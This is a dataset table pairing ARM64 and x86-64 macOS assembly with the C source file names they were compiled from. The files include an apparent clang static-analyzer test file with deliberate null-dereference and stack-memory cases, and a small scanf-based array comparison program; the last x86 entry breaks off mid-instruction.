arm
stringlengths
122
13.2M
x86
stringlengths
122
12.4M
filename
stringlengths
18
26
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 b LBB0_1 LBB0_1: bl _bar subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: bl _baz LBB0_3: ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp jmp LBB0_1 LBB0_1: callq _bar cmpl $0, %eax je LBB0_3 ## %bb.2: callq _baz LBB0_3: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/178264913.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test1_f1 ; -- Begin function test1_f1 .p2align 2 _test1_f1: ; @test1_f1 .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #1 stur w0, [x29, #-4] ldur w8, [x29, #-4] add w8, w8, #1 stur w8, [x29, #-4] bl _clang_analyzer_checkInlined ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test1_f2 ; -- Begin function test1_f2 .p2align 2 _test1_f2: ; @test1_f2 .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #1 stur w8, [x29, #-4] bl _test1_f1 stur w0, [x29, #-4] ldur w8, [x29, #-4] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ; kill: def $x8 killed $xzr str xzr, [sp, #16] ldr x9, [sp, #16] mov w8, #3 str w8, [x9] b LBB1_2 LBB1_2: ldur w8, [x29, #-4] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ; kill: def $x8 killed $xzr str xzr, [sp, #8] ldr x9, [sp, #8] mov w8, #3 str w8, [x9] b LBB1_4 LBB1_4: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _test2_f1 ; -- Begin function test2_f1 .p2align 2 _test2_f1: ; @test2_f1 .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .globl _test2_f3 ; -- Begin function test2_f3 .p2align 2 _test2_f3: ; @test2_f3 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _test2_f2 bl _test2_f1 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _factorial ; -- Begin function factorial .p2align 2 _factorial: ; @factorial .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #1 cset w8, hi tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: mov w8, #1 stur w8, [x29, #-4] b LBB4_3 LBB4_2: ldr w8, [sp, #8] str w8, [sp, #4] ; 4-byte Folded Spill ldr w8, [sp, #8] subs w0, w8, #1 bl _factorial ldr w8, [sp, #4] ; 4-byte Folded Reload mul w8, w8, w0 stur w8, [x29, #-4] b LBB4_3 LBB4_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_factorial ; -- Begin function test_factorial .p2align 2 _test_factorial: ; @test_factorial .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #3 bl _factorial subs w8, w0, #6 cset w8, ne tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: ; kill: def $x8 killed $xzr str xzr, [sp, #8] ldr x9, [sp, #8] mov w8, #48879 movk w8, #57005, lsl #16 str w8, [x9] b LBB5_3 LBB5_2: ; kill: def $x8 killed $xzr str xzr, [sp] ldr x9, [sp] mov w8, #48879 movk w8, #57005, lsl #16 str w8, [x9] b LBB5_3 LBB5_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_factorial_2 ; -- Begin function test_factorial_2 .p2align 2 _test_factorial_2: ; @test_factorial_2 .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #3 str w0, [sp] ; 4-byte Folded Spill bl _factorial mov x8, x0 ldr w0, [sp] ; 4-byte Folded Reload stur w8, [x29, #-4] ldur w8, [x29, #-4] str w8, [sp, #4] ; 4-byte Folded Spill bl _factorial ldr w8, [sp, #4] ; 4-byte Folded Reload subs w8, w8, w0 cset w8, ne tbnz w8, #0, LBB6_2 b LBB6_1 LBB6_1: ; kill: def $x8 killed $xzr str xzr, [sp, #16] ldr x9, [sp, #16] mov w8, #48879 movk w8, #57005, lsl #16 str w8, [x9] b LBB6_3 LBB6_2: ; kill: def $x8 killed $xzr str xzr, [sp, #8] ldr x9, [sp, #8] mov w8, #48879 movk w8, #57005, lsl #16 str w8, [x9] b LBB6_3 LBB6_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _test_return_stack_memory_ok ; -- Begin function test_return_stack_memory_ok .p2align 2 _test_return_stack_memory_ok: ; @test_return_stack_memory_ok .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] add x0, sp, #20 bl _return_buf str x0, [sp, #8] ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB7_2 b LBB7_1 LBB7_1: bl ___stack_chk_fail LBB7_2: ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function return_buf _return_buf: ; @return_buf .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] ldr x8, [sp, #8] add x0, x8, #10 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _test_return_stack_memory_bad ; -- Begin function test_return_stack_memory_bad .p2align 2 _test_return_stack_memory_bad: ; @test_return_stack_memory_bad .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] add x8, sp, #20 str x8, [sp, #8] ldr x8, [sp, #8] str x8, [sp] ; 8-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB9_2 b LBB9_1 LBB9_1: bl ___stack_chk_fail LBB9_2: ldr x0, [sp] ; 8-byte Folded Reload ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .globl _test_rdar10977037_aux ; -- Begin function test_rdar10977037_aux .p2align 2 _test_rdar10977037_aux: ; @test_rdar10977037_aux .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] ldr w0, [sp, #12] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _test_rdar10977037 ; -- Begin function test_rdar10977037 .p2align 2 _test_rdar10977037: ; @test_rdar10977037 .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #1 str w8, [sp, #12] ldr x0, [sp, #8] bl _test_rdar10977037_aux ldr w8, [sp, #12] add w8, w8, w0 str w8, [sp, #12] ldr x0, [sp, #8] bl _test_rdar10977037_aux_2 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test ; -- Begin function test .p2align 2 _test: ; @test .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #2 bl _plus1 subs w8, w0, #3 cset w8, eq and w0, w8, #0x1 bl _clang_analyzer_eval ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _plus1 ; -- Begin function plus1 .p2align 2 _plus1: ; @plus1 .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] add w0, w8, #1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _never_called_by_anyone ; -- Begin function never_called_by_anyone .p2align 2 _never_called_by_anyone: ; @never_called_by_anyone .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #0 bl _clang_analyzer_checkInlined ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _knr_one_argument ; -- Begin function knr_one_argument .p2align 2 _knr_one_argument: ; @knr_one_argument .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _call_with_less_arguments ; -- Begin function call_with_less_arguments .p2align 2 _call_with_less_arguments: ; @call_with_less_arguments .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _knr_one_argument ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test1_f1 ## -- Begin function test1_f1 .p2align 4, 0x90 _test1_f1: ## @test1_f1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $1, -4(%rbp) movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) movl $1, %edi callq _clang_analyzer_checkInlined movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test1_f2 ## -- Begin function test1_f2 .p2align 4, 0x90 _test1_f2: ## @test1_f2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $1, -4(%rbp) callq _test1_f1 movl %eax, -4(%rbp) cmpl $1, -4(%rbp) jne LBB1_2 ## %bb.1: movq $0, -16(%rbp) movq -16(%rbp), %rax movl $3, (%rax) LBB1_2: cmpl $2, -4(%rbp) jne LBB1_4 ## %bb.3: movq $0, -24(%rbp) movq -24(%rbp), %rax movl $3, (%rax) LBB1_4: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test2_f1 ## -- Begin function test2_f1 .p2align 4, 0x90 _test2_f1: ## @test2_f1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .globl _test2_f3 ## -- Begin function test2_f3 .p2align 4, 0x90 _test2_f3: ## @test2_f3 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _test2_f2 movl %eax, %edi movb $0, %al callq _test2_f1 popq %rbp retq .cfi_endproc ## -- End function .globl _factorial ## -- Begin function factorial .p2align 4, 0x90 _factorial: ## @factorial .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) cmpl $1, -8(%rbp) ja LBB4_2 ## %bb.1: movl $1, -4(%rbp) jmp LBB4_3 LBB4_2: movl -8(%rbp), %eax movl %eax, -12(%rbp) ## 4-byte Spill movl -8(%rbp), %edi subl $1, %edi callq _factorial movl %eax, %ecx movl -12(%rbp), %eax ## 4-byte Reload imull %ecx, %eax movl %eax, -4(%rbp) LBB4_3: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_factorial ## -- Begin function test_factorial .p2align 4, 0x90 _test_factorial: ## @test_factorial .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $3, %edi callq _factorial cmpl $6, %eax jne LBB5_2 ## %bb.1: movq $0, -8(%rbp) movq -8(%rbp), %rax movl $-559038737, (%rax) ## imm = 0xDEADBEEF jmp LBB5_3 LBB5_2: movq $0, -16(%rbp) movq -16(%rbp), %rax movl $-559038737, (%rax) ## imm = 0xDEADBEEF LBB5_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_factorial_2 ## -- Begin function test_factorial_2 .p2align 4, 0x90 _test_factorial_2: ## @test_factorial_2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $3, %edi callq _factorial movl %eax, -4(%rbp) movl -4(%rbp), %eax movl %eax, -28(%rbp) ## 4-byte Spill movl $3, %edi callq _factorial movl %eax, %ecx movl -28(%rbp), %eax ## 4-byte Reload cmpl %ecx, %eax jne LBB6_2 ## %bb.1: movq $0, -16(%rbp) movq -16(%rbp), %rax movl $-559038737, (%rax) ## imm = 0xDEADBEEF jmp LBB6_3 LBB6_2: movq $0, -24(%rbp) movq -24(%rbp), %rax movl $-559038737, (%rax) ## imm = 0xDEADBEEF LBB6_3: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_return_stack_memory_ok ## -- Begin function test_return_stack_memory_ok .p2align 4, 0x90 _test_return_stack_memory_ok: ## @test_return_stack_memory_ok .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) leaq -112(%rbp), %rdi callq _return_buf movq %rax, -120(%rbp) movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB7_2 ## %bb.1: addq $128, %rsp popq %rbp retq LBB7_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function return_buf _return_buf: ## @return_buf .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq -8(%rbp), %rax addq $10, %rax popq %rbp retq .cfi_endproc ## -- End function .globl _test_return_stack_memory_bad ## -- Begin function test_return_stack_memory_bad .p2align 4, 0x90 _test_return_stack_memory_bad: ## @test_return_stack_memory_bad .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) leaq -112(%rbp), %rax movq %rax, -120(%rbp) movq -120(%rbp), %rax movq %rax, -128(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB9_2 ## %bb.1: movq -128(%rbp), %rax ## 8-byte Reload addq $128, %rsp popq %rbp retq LBB9_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _test_rdar10977037_aux ## -- Begin function test_rdar10977037_aux .p2align 4, 0x90 _test_rdar10977037_aux: ## @test_rdar10977037_aux .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movl -4(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .globl _test_rdar10977037 ## -- Begin function test_rdar10977037 .p2align 4, 0x90 _test_rdar10977037: ## @test_rdar10977037 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $1, -4(%rbp) movq -8(%rbp), %rdi callq _test_rdar10977037_aux addl -4(%rbp), %eax movl %eax, -4(%rbp) movq -8(%rbp), %rdi callq _test_rdar10977037_aux_2 addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test ## -- Begin function test .p2align 4, 0x90 _test: ## @test .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $2, %edi callq _plus1 cmpl $3, %eax sete %al andb $1, %al movzbl %al, %edi callq _clang_analyzer_eval popq %rbp retq .cfi_endproc ## -- End function .globl _plus1 ## -- Begin function plus1 .p2align 4, 0x90 _plus1: ## @plus1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl -4(%rbp), %eax addl $1, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _never_called_by_anyone ## -- Begin function never_called_by_anyone .p2align 4, 0x90 _never_called_by_anyone: ## @never_called_by_anyone .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %edi, %edi callq _clang_analyzer_checkInlined popq %rbp retq .cfi_endproc ## -- End function .globl _knr_one_argument ## -- Begin function knr_one_argument .p2align 4, 0x90 _knr_one_argument: ## @knr_one_argument .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) popq %rbp retq .cfi_endproc ## -- End function .globl _call_with_less_arguments ## -- Begin function call_with_less_arguments .p2align 4, 0x90 _call_with_less_arguments: ## @call_with_less_arguments .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movb $0, %al callq _knr_one_argument popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/67325321.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 mov w9, #27296 movk w9, #24, lsl #16 adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #390, lsl #12 ; =1597440 sub sp, sp, #2720 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #68] mov x9, sp add x8, sp, #56 str x8, [x9] add x8, sp, #52 str x8, [x9, #8] add x8, sp, #48 str x8, [x9, #16] add x8, sp, #44 str x8, [x9, #24] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf str wzr, [sp, #64] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #64] ldr w9, [sp, #56] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldrsw x9, [sp, #64] add x8, sp, #293, lsl #12 ; =1200128 add x8, x8, #4 add x8, x8, x9, lsl #2 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #64] add w8, w8, #1 str w8, [sp, #64] b LBB0_1 LBB0_4: str wzr, [sp, #64] b LBB0_5 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #64] ldr w9, [sp, #52] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_8 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=1 ldrsw x9, [sp, #64] add x8, sp, #195, lsl #12 ; =798720 add x8, x8, #1392 add x8, x8, x9, lsl #2 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldr w8, [sp, #64] add w8, w8, #1 str w8, [sp, #64] b LBB0_5 LBB0_8: str wzr, [sp, #40] str wzr, [sp, #60] str wzr, [sp, #64] b LBB0_9 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #64] ldr w9, [sp, #56] subs w8, w8, w9 cset w8, ge mov w9, #0 str w9, [sp, #36] ; 4-byte Folded Spill tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #60] ldr w9, [sp, #52] subs w8, w8, w9 cset w8, lt str w8, [sp, #36] ; 4-byte Folded Spill b LBB0_11 LBB0_11: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #36] ; 4-byte Folded Reload tbz w8, #0, LBB0_19 b LBB0_12 LBB0_12: ; in Loop: Header=BB0_9 Depth=1 ldrsw x9, [sp, #64] add x8, sp, #293, lsl #12 ; =1200128 add x8, x8, #4 ldr w8, [x8, x9, lsl #2] ldr w9, [sp, #48] subs w8, w8, w9 ldrsw x10, [sp, #60] add x9, sp, #195, lsl #12 ; =798720 add x9, x9, #1392 ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #60] add w8, w8, #1 str w8, [sp, #60] b LBB0_18 LBB0_14: ; in Loop: Header=BB0_9 Depth=1 ldrsw x9, [sp, #64] add x8, sp, #293, lsl #12 ; =1200128 add x8, x8, #4 ldr w8, [x8, x9, lsl #2] ldr w9, [sp, #44] add w8, w8, w9 ldrsw x10, [sp, #60] add x9, sp, #195, lsl #12 ; =798720 add x9, x9, #1392 ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_16 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #64] add w8, w8, #1 str w8, [sp, #64] b LBB0_17 LBB0_16: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #64] add w8, w8, #1 str w8, [sp, #64] ldrsw x10, [sp, #40] add x9, sp, #97, lsl #12 ; =397312 add x9, x9, #2780 str w8, [x9, x10, lsl #2] ldr w8, [sp, #60] add w8, w8, #1 str w8, [sp, #60] ldrsw x10, [sp, #40] mov x9, x10 add w9, w9, #1 str w9, [sp, #40] add x9, sp, #72 str w8, [x9, x10, lsl #2] b LBB0_17 LBB0_17: ; in Loop: Header=BB0_9 Depth=1 b LBB0_18 LBB0_18: ; in Loop: Header=BB0_9 Depth=1 b LBB0_9 LBB0_19: ldr w9, [sp, #40] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf str wzr, [sp, #64] b LBB0_20 LBB0_20: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #64] ldr w9, [sp, #40] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_23 b LBB0_21 LBB0_21: ; in Loop: Header=BB0_20 Depth=1 ldrsw x9, [sp, #64] add x8, sp, #97, lsl #12 ; =397312 add x8, x8, #2780 ldr w8, [x8, x9, lsl #2] ; implicit-def: $x10 mov x10, x8 ldrsw x9, [sp, #64] add x8, sp, #72 ldr w9, [x8, x9, lsl #2] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_22 LBB0_22: ; in Loop: Header=BB0_20 Depth=1 ldr w8, [sp, #64] add w8, w8, #1 str w8, [sp, #64] b LBB0_20 LBB0_23: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_25 b LBB0_24 LBB0_24: bl ___stack_chk_fail LBB0_25: mov w0, #0 add sp, sp, #390, lsl #12 ; =1597440 add sp, sp, #2720 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d%d%d%d" l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "%d\n" l_.str.3: ; @.str.3 .asciz "%d %d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $1600176, %eax ## imm = 0x186AB0 callq ____chkstk_darwin subq %rax, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -1600132(%rbp) leaq L_.str(%rip), %rdi leaq -1600144(%rbp), %rsi leaq -1600148(%rbp), %rdx leaq -1600152(%rbp), %rcx leaq -1600156(%rbp), %r8 movb $0, %al callq _scanf movl $0, -1600136(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -1600136(%rbp), %eax cmpl -1600144(%rbp), %eax jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movslq -1600136(%rbp), %rax leaq -400032(%rbp), %rsi shlq $2, %rax addq %rax, %rsi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -1600136(%rbp), %eax addl $1, %eax movl %eax, -1600136(%rbp) jmp LBB0_1 LBB0_4: movl $0, -1600136(%rbp) LBB0_5: ## =>This Inner Loop Header: Depth=1 movl -1600136(%rbp), %eax cmpl -1600148(%rbp), %eax jge LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movslq -1600136(%rbp), %rax leaq -800064(%rbp), %rsi shlq $2, 